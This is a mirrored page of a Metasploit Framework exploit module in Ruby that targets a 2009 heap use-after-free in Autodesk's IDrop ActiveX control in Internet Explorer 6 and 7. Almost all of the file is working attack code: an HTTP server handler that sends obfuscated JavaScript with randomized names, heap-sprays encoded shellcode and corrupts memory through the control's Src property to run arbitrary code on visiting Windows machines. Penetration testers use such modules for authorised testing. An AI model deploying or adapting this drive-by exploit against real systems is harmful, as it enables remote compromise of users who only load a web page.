CoCalc -- autodesk

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/autodesk_idrop.rb
Views: ¹⁹⁰⁴

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::Remote::HttpServer::HTML
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'Autodesk IDrop ActiveX Control Heap Memory Corruption',
14
      'Description'    => %q{
15
          This module exploits a heap-based memory corruption vulnerability in
16
        Autodesk IDrop ActiveX control (IDrop.ocx) version 17.1.51.160.
17
        An attacker can execute arbitrary code by triggering a heap use after
18
        free condition using the Src, Background, PackageXml properties.
19
      },
20
      'License'        => MSF_LICENSE,
21
      'Author'         =>
22
        [
23
          'Elazar Broad <elazarb[at]earthlink.net>',   # Original exploit [see References]
24
          'Trancer <mtrancer[at]gmail.com>'            # Metasploit implementation
25
        ],
26
      'References'     =>
27
        [
28
          [ 'OSVDB', '53265' ],
29
          [ 'BID', '34352' ],
30
          [ 'EDB', '8560' ],
31
          [ 'URL', 'http://marc.info/?l=full-disclosure&m=123870112214736' ],
32
        ],
33
      'DefaultOptions' =>
34
        {
35
          'EXITFUNC' => 'process',
36
        },
37
      'Payload'        =>
38
        {
39
          'Space'         => 1024,
40
          'BadChars'      => "\x00\x09\x0a\x0d'\\",
41
          'StackAdjustment' => -3500,
42
        },
43
      'Platform'       => 'win',
44
      'Targets'        =>
45
        [
46
          [ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 900, 'Ret' => 0x0C0C0C0C } ]
47
        ],
48
      'DisclosureDate' => '2009-04-02',
49
      'DefaultTarget'  => 0))
50
  end
51

52
  def autofilter
53
    false
54
  end
55

56
  def check_dependencies
57
    use_zlib
58
  end
59

60
  def on_request_uri(cli, request)
61
    # Re-generate the payload
62
    return if ((p = regenerate_payload(cli)) == nil)
63

64
    # Encode the shellcode
65
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
66

67
    # Setup exploit buffers
68
    nops 	  = Rex::Text.to_unescape([target.ret].pack('V'))
69
    blocksize = 0x40000
70
    fillto    = 550
71
    offset 	  = target['Offset']
72

73
    # Randomize the javascript variable names
74
    idrop	     = rand_text_alpha(rand(100) + 1)
75
    j_function   = rand_text_alpha(rand(100) + 1)
76
    j_shellcode  = rand_text_alpha(rand(100) + 1)
77
    j_nops       = rand_text_alpha(rand(100) + 1)
78
    j_headersize = rand_text_alpha(rand(100) + 1)
79
    j_slackspace = rand_text_alpha(rand(100) + 1)
80
    j_fillblock  = rand_text_alpha(rand(100) + 1)
81
    j_block      = rand_text_alpha(rand(100) + 1)
82
    j_memory     = rand_text_alpha(rand(100) + 1)
83
    j_counter    = rand_text_alpha(rand(30) + 2)
84
    j_ret        = rand_text_alpha(rand(100) + 1)
85
    j_mem        = rand_text_alpha(rand(100) + 1)
86

87
    # Build out the message
88
    content = %Q|
89
<html>
90
<head>
91
<script language='javascript' defer>
92
function #{j_function}() {
93
  #{j_shellcode}=unescape('#{shellcode}');
94
  #{j_nops}=unescape('#{nops}');
95
  #{j_headersize}=20;
96
  #{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
97
  while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
98
  #{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
99
  #{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
100
  while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
101
  #{j_memory}=new Array();
102
  for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
103

104
  var #{j_ret} = '';
105
  for (#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++) {
106
    #{j_ret} += unescape('%u0a0a');
107
  }
108
  for(#{j_counter}=0;#{j_counter}<20;#{j_counter}++) {
109
    try {
110
      var #{j_mem} = #{idrop}.Src;
111
      #{idrop}.Src = 'http://' + #{j_ret};
112
      #{idrop}.Src = #{j_mem};
113
      #{idrop}.Src = 'http://' + #{j_ret};
114
    } catch(e){}
115

116
  }
117
}
118
</script>
119
</head>
120
<body onload='return #{j_function}();'>
121
<object classid='clsid:21E0CB95-1198-4945-A3D2-4BF804295F78' id='#{idrop}'></object>
122
</body>
123
</html>
124
      |
125

126
    print_status("Sending #{self.name}")
127

128
    # Transmit the response to the client
129
    send_response_html(cli, content)
130

131
    # Handle the payload
132
    handler(cli)
133
  end
134
end
135

136

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

Product

Resources

Company